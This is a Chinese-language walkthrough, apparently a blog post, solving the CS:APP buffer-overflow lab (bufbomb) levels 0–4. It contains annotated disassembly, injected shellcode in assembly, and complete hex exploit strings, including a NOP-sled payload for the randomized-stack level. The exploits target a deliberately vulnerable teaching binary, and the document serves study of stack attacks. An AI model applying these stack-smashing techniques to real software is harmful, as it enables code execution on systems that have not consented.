csapp lab --------- buflab

前提

hex2raw:十六进制流向二进制流转换。它接受一个十六进制格式的字符串作为输入。在这种格式中,每个字节值用两个十六进制数字表示。通过HEX2RAW的十六进制字符应该用空格(空格或换行符)分隔。

​ makecookie:在实验中是根据ID生成特定的cookie的工具

​ bufbomb通过一个自定义的getbuf()函数读取输入,并将其复制到目标内存中。该函数主要通过Gets()函数实现。

​ Gets()函数从标准输入中读取输入(以"\n"或者EOF作为输入结尾,并不检查读取长度),并将其以"\n"结尾存放在指定的内存区域中,容易造成栈溢出。

objdump -d bufbomb   //查看bufbomb程序的汇编代码

查看getbuf函数的汇编代码

080491f4 <getbuf>:
 ;将调用函数的ebp压入栈中
 80491f4:	55                   	push   %ebp
 ;将被调用函数的栈基地址存入ebp中
 80491f5:	89 e5                	mov    %esp,%ebp
 ;开辟0x38(56)个字节的栈内存空间
 80491f7:	83 ec 38             	sub    $0x38,%esp
 ;lea指令将ebp-0x28处的内存单元地址存入到eax寄存器中
 80491fa:	8d 45 d8             	lea    -0x28(%ebp),%eax
 ;将eax寄存器中的内存单元地址存放到esp所指的内存单元中
 80491fd:	89 04 24             	mov    %eax,(%esp)
 ;call指令调用gets函数,gets函数的参数是一个字符类型内存单元地址
 8049200:	e8 f5 fa ff ff       	call   8048cfa <Gets>
 ;函数的返回值一般存放在eax寄存器中
 8049205:	b8 01 00 00 00       	mov    $0x1,%eax
 ;将ebp恢复到调用函数的栈基地址
 804920a:	c9                   	leave  
 ;将程序执行流返回到调用函数处
 804920b:	c3                   	ret 

实验指导书上有C语言代码或者自己写

1 /* Buffer size for getbuf */
2 #define NORMAL_BUFFER_SIZE 32
3
4 int getbuf()
5 {
6 	char buf[NORMAL_BUFFER_SIZE];
7 	Gets(buf);
8 	return 1;
9 }

在这里插入图片描述
关于buf大小为什么是32个字节?

getbuf函数开辟56个字节的栈内存空间,lea -0x28(%ebp),%eax 和mov %eax,(%esp) 两个指令说明buf的首地址在ebp-0x28处。有人认为 0x28 不是40个字节么?因为申请内存空间是16个字节的倍数。所以是32个字节的内存大小。

Level 0: Candle

还有test()函数,test函数中调用了getbuf函数

void test()
2 {
3 	int val;
4 	/* Put canary on stack to detect possible corruption */
5 	volatile int local = uniqueval();
6
7	 val = getbuf();
8
9 	/* Check for corrupted stack */
10 	if (local != uniqueval()) {
11	 printf("Sabotaged!: the stack has been corrupted\n");
12 }
13 else if (val == cookie) {
14 	printf("Boom!: getbuf returned 0x%x\n", val);
15 	validate(3);
16 } else {
17 	printf("Dud: getbuf returned 0x%x\n", val);
18 }
19 }

smoke函数的汇编代码

08048c18 <smoke>:
 8048c18:	55                   	push   %ebp
 8048c19:	89 e5                	mov    %esp,%ebp
 8048c1b:	83 ec 18             	sub    $0x18,%esp
 8048c1e:	c7 04 24 d3 a4 04 08 	movl   $0x804a4d3,(%esp)
 8048c25:	e8 96 fc ff ff       	call   80488c0 <puts@plt>
 8048c2a:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c31:	e8 45 07 00 00       	call   804937b <validate>
 8048c36:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c3d:	e8 be fc ff ff       	call   8048900 <exit@plt>

smoke函数的C语言代码

void smoke() 
{
    printf("Smoke!: You called smoke()\n");
    validate(0);
    exit(0);
}

将程序执行流劫持到smoke函数处。使得test函数调用getbuf()后,在getbuf()返回时直接调用smoke()函数,而不是返回函数test()。

buf的首地址距离ebp为0x28(即40个字节)再覆盖4个字节的caller’s ebp(调用函数的ebp)就是ret addr(返回地址),将返回地址修改为smoke函数的地址(0x08048c18)(小端存储方式)

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08 

将这些十六进制串存放到一个.txt文件,然后使用hex2raw转换为二进制流。然后输入到bufbomb程序中
在这里插入图片描述./hex2raw < exploit.txt | ./bufbomb -u 123

在这里插入图片描述

Level 1: Sparkler

fizz函数的汇编代码

08048c42 <fizz>:
 8048c42:	55                   	push   %ebp
 8048c43:	89 e5                	mov    %esp,%ebp
 ;开辟0x18(24)个字节的栈内存空间
 8048c45:	83 ec 18             	sub    $0x18,%esp
 ;将fizz函数的参数存放到eax寄存器中
 8048c48:	8b 45 08             	mov    0x8(%ebp),%eax
 ;fizz函数参数与内存地址为0x8048c79的字符串(cookie)相比较
 ;比较的结果存放在标志位ZF中,相等ZF=1,不相等ZF=0.
 8048c4b:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 ;jne指令,若ZF=0,则跳转到0x8048c79
 8048c51:	75 26                	jne    8048c79 <fizz+0x37>
 ;esp+0x8(fizz函数参数),esp+0x4(0x804a4ee处的字符串),esp(1)的内容
 ;作为__printf_chk@plt函数的参数。
 8048c53:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c57:	c7 44 24 04 ee a4 04 	movl   $0x804a4ee,0x4(%esp)
 8048c5e:	08 
 8048c5f:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c66:	e8 55 fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c6b:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c72:	e8 04 07 00 00       	call   804937b <validate>
 8048c77:	eb 18                	jmp    8048c91 <fizz+0x4f>
 8048c79:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048c7d:	c7 44 24 04 40 a3 04 	movl   $0x804a340,0x4(%esp)
 8048c84:	08 
 8048c85:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048c8c:	e8 2f fd ff ff       	call   80489c0 <__printf_chk@plt>
 8048c91:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048c98:	e8 63 fc ff ff       	call   8048900 <exit@plt>

fizz函数的C语言代码

void fizz(int val) 
{
    if (val == cookie) 
    { 
        printf("Fizz!: You called fizz(0x%x)\n", val); 				validate(1);
    } else 
        printf("Misfire: You called fizz(0x%x)\n", val); 		exit(0);
}

得出0x804d108地址处存放的字符串是cookie,而cookie由IDname决定

可以由makecookie程序生成。

test函数调用getbuf()后,在getbuf()返回时直接调用fizz()函数,而不是返回函数test() ;

在这里插入图片描述将fizz函数的参数改为0x70a28da5,返回地址也修改为fizz函数的地址0x08048c42

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 42 8c 04 08 00 00 00 00 a5 8d a2 70

在这里插入图片描述./hex2raw < exploit.txt | ./bufbomb -u 123

在这里插入图片描述

Level 2: Firecracker

bang函数的汇编代码

08048c9d <bang>:
 8048c9d:	55                   	push   %ebp
 8048c9e:	89 e5                	mov    %esp,%ebp
 8048ca0:	83 ec 18             	sub    $0x18,%esp
 ;内存地址为0x804d100的内存存储的是全局变量
 8048ca3:	a1 00 d1 04 08       	mov    0x804d100,%eax
 ;将全局变量与cookie相比较
 8048ca8:	3b 05 08 d1 04 08    	cmp    0x804d108,%eax
 8048cae:	75 26                	jne    8048cd6 <bang+0x39>
 8048cb0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cb4:	c7 44 24 04 60 a3 04 	movl   $0x804a360,0x4(%esp)
 8048cbb:	08 
 8048cbc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048cc3:	e8 f8 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cc8:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048ccf:	e8 a7 06 00 00       	call   804937b <validate>
 8048cd4:	eb 18                	jmp    8048cee <bang+0x51>
 8048cd6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048cda:	c7 44 24 04 0c a5 04 	movl   $0x804a50c,0x4(%esp)
 8048ce1:	08 
 8048ce2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ce9:	e8 d2 fc ff ff       	call   80489c0 <__printf_chk@plt>
 8048cee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048cf5:	e8 06 fc ff ff       	call   8048900 <exit@plt>

bang函数的C语言代码

int global_value = 0;
void bang(int val)
{
    if (global_value == cookie)
    { printf("Bang!: You set global_value to 0x%x\n",global_value);
     validate(2);
    } else
        printf("Misfire: global_value = 0x%x\n", global_value); 	exit(0);
}

将全局变量global_value修改为cookie的值

test函数调用getbuf()后,在getbuf()返回时直接调用bang()函数,而不是返回函数test() ;

global_value是全局变量,修改它的数值,需要写代码,而且保证代码能够执行,所以写到buf中,然后getbuf函数的返回地址修改成buf的内存地址。bang函数的地址也存放到buf中,然后ret,跳转至bang函数开始执行。

首先编写汇编代码

;将全局变量global_value修改为cookie值
mov $0x70a28da5,0x804d100         
;将bang函数地址压入栈中
push $0x08048c9d                    
ret 

在这里插入图片描述使用as,将汇编程序转换为二进制程序

as text.s -o text

在这里插入图片描述
得到十六进制的机器代码

在这里插入图片描述接下来是寻找buf的内存地址,使用gdb进行寻找

在这里插入图片描述在这里插入图片描述得到buf的内存地址为0x556836b8

c7 04 25 00 d1 04 08 a5 8d a2 70 68 9d 8c 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 36 68 55 00 00 00 00 00 00 00 00 b8 36 68 55

在这里插入图片描述./hex2raw < exploit.txt | ./bufbomb -u 123

在这里插入图片描述

Level 3: Dynamite

目前为止的操作都是使得正常控制流改变并跳转至其它函数,最终使得程序停止,故而以上操作中对于栈的破坏、破坏保留值等操作对于程序运行是可以接受的。更复杂的缓冲区攻击在于执行某些构造的指令改变寄存器或内存中的值,并使程序能正常返回原控制流执行。

level 3的任务为通过构造指令,使得getbuf正常返回至test函数,并使得getbuf返回值为cookie值。

将寄存器eax的值修改为cookie(我的IDname是123,产生的cookie是0x70a28da5),因为要返回到test函数,所以栈基地址寄存器需存放的是test函数的栈基地址。

既然要想知道test函数的栈基地址,就下断点到test函数

在这里插入图片描述
在这里插入图片描述
得到test函数的栈基地址为0x55683710

编写汇编代码

在这里插入图片描述

;将eax寄存器(函数的返回值)修改为cookie
mov $0x70a28da5,%eax 
;将ebp的值修改为test函数的栈基地址
mov $0x55683710,%ebp          
;将调用完getbuf函数返回到test函数处的地址压入栈中
push $0x8048dbe                    
ret 

查看text程序的机器代码

在这里插入图片描述./hex2raw < exploit.txt | ./bufbomb -u 123

在这里插入图片描述

level 4 Nitroglycerin

程序运行时启用了 -n 选项时,程序在读取输入时会启用 getbufn函数(而不是前面的getbuf)。getbufn函数有与getbuf相似的功能,但前者输入数组的长度为512字节。调用getbufn函数之前,程序会先在栈上分配一个随机长度的空间,从而使得getbufn函数的栈空间在不同调用情况下不再是固定的,实际上%ebp的差值达到±240。在应用 -n 选项的情况下,程序会要求提交输入字符串 5 次,5次输入会面对5个不同的栈空间,并要求每次都成功返回cookie值。level 4的任务与level 3一致,即要求getbufn函数返回调用函数testn时返回cookie值,而不是常规的1.

开启了栈地址随机化。

getbufn函数的汇编代码

0804920c <getbufn>:
 804920c:	55                   	push   %ebp
 804920d:	89 e5                	mov    %esp,%ebp
 804920f:	81 ec 18 02 00 00    	sub    $0x218,%esp
 8049215:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 804921b:	89 04 24             	mov    %eax,(%esp)
 804921e:	e8 d7 fa ff ff       	call   8048cfa <Gets>
 8049223:	b8 01 00 00 00       	mov    $0x1,%eax
 8049228:	c9                   	leave  
 8049229:	c3                   	ret    
 804922a:	90                   	nop
 804922b:	90                   	nop

相对于getbuf函数而言,getbufn函数开辟了0x218(536)个字节空间,buf内存空间的大小为0x200(512)个字节大小。且每次栈的位置会发生变化。

每次运行testn的ebp都不同,所以每次getbufn里面保存的test的ebp也是随机的,但是栈顶的esp是不变的,我们就要找到每次随机的ebp与esp之间的关系来恢复ebp。

使用gdb下断点到getbufn函数,寻找buf的内存地址。

在这里插入图片描述在这里插入图片描述

一共有5个buf地址
0x55683508
0x556834d8
0x55683538
0x556834b8
0x55683538
取最大的buf地址,0x55683538
08048e26 <testn>:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 <uniqueval>
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c <getbufn>
 8048e3a:	89 c3                	mov    %eax,%ebx
 8048e3c:	e8 4f ff ff ff       	call   8048d90 <uniqueval>
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048e44:	39 d0                	cmp    %edx,%eax

返回地址为0x8048e3a

mov    %esp,%ebp
push   %ebx
sub    $0x24,%esp
由汇编代码可得出ebp与esp相差0x28个字节
08048e26 <testn>:
 8048e26:	55                   	push   %ebp
 8048e27:	89 e5                	mov    %esp,%ebp
 8048e29:	53                   	push   %ebx
 8048e2a:	83 ec 24             	sub    $0x24,%esp
 8048e2d:	e8 5e ff ff ff       	call   8048d90 <uniqueval>
 8048e32:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048e35:	e8 d2 03 00 00       	call   804920c <getbufn>
 8048e3a:	89 c3                	mov    %eax,%ebx
 8048e3c:	e8 4f ff ff ff       	call   8048d90 <uniqueval>
 8048e41:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048e44:	39 d0                	cmp    %edx,%eax

getbufn函数返回地址为0x8048e3a

构造代码

在这里插入图片描述

;恢复testn函数的ebp
mov %esp,%ebx
add $0x28,%ebx
mov %ebx,%ebp
;getbufn函数的返回值
mov $0x70a28da5,%eax
;getbufn返回地址
push $0x08048e3a
ret

在这里插入图片描述

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 89 e3 83 c3 28 89 dd b8 a5 8d a2 70 68 3a 8e 04 08 c3 00 00 00 00 38 35 68 55
./hex2raw < exploit.txt | ./bufbomb -n -u 123

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值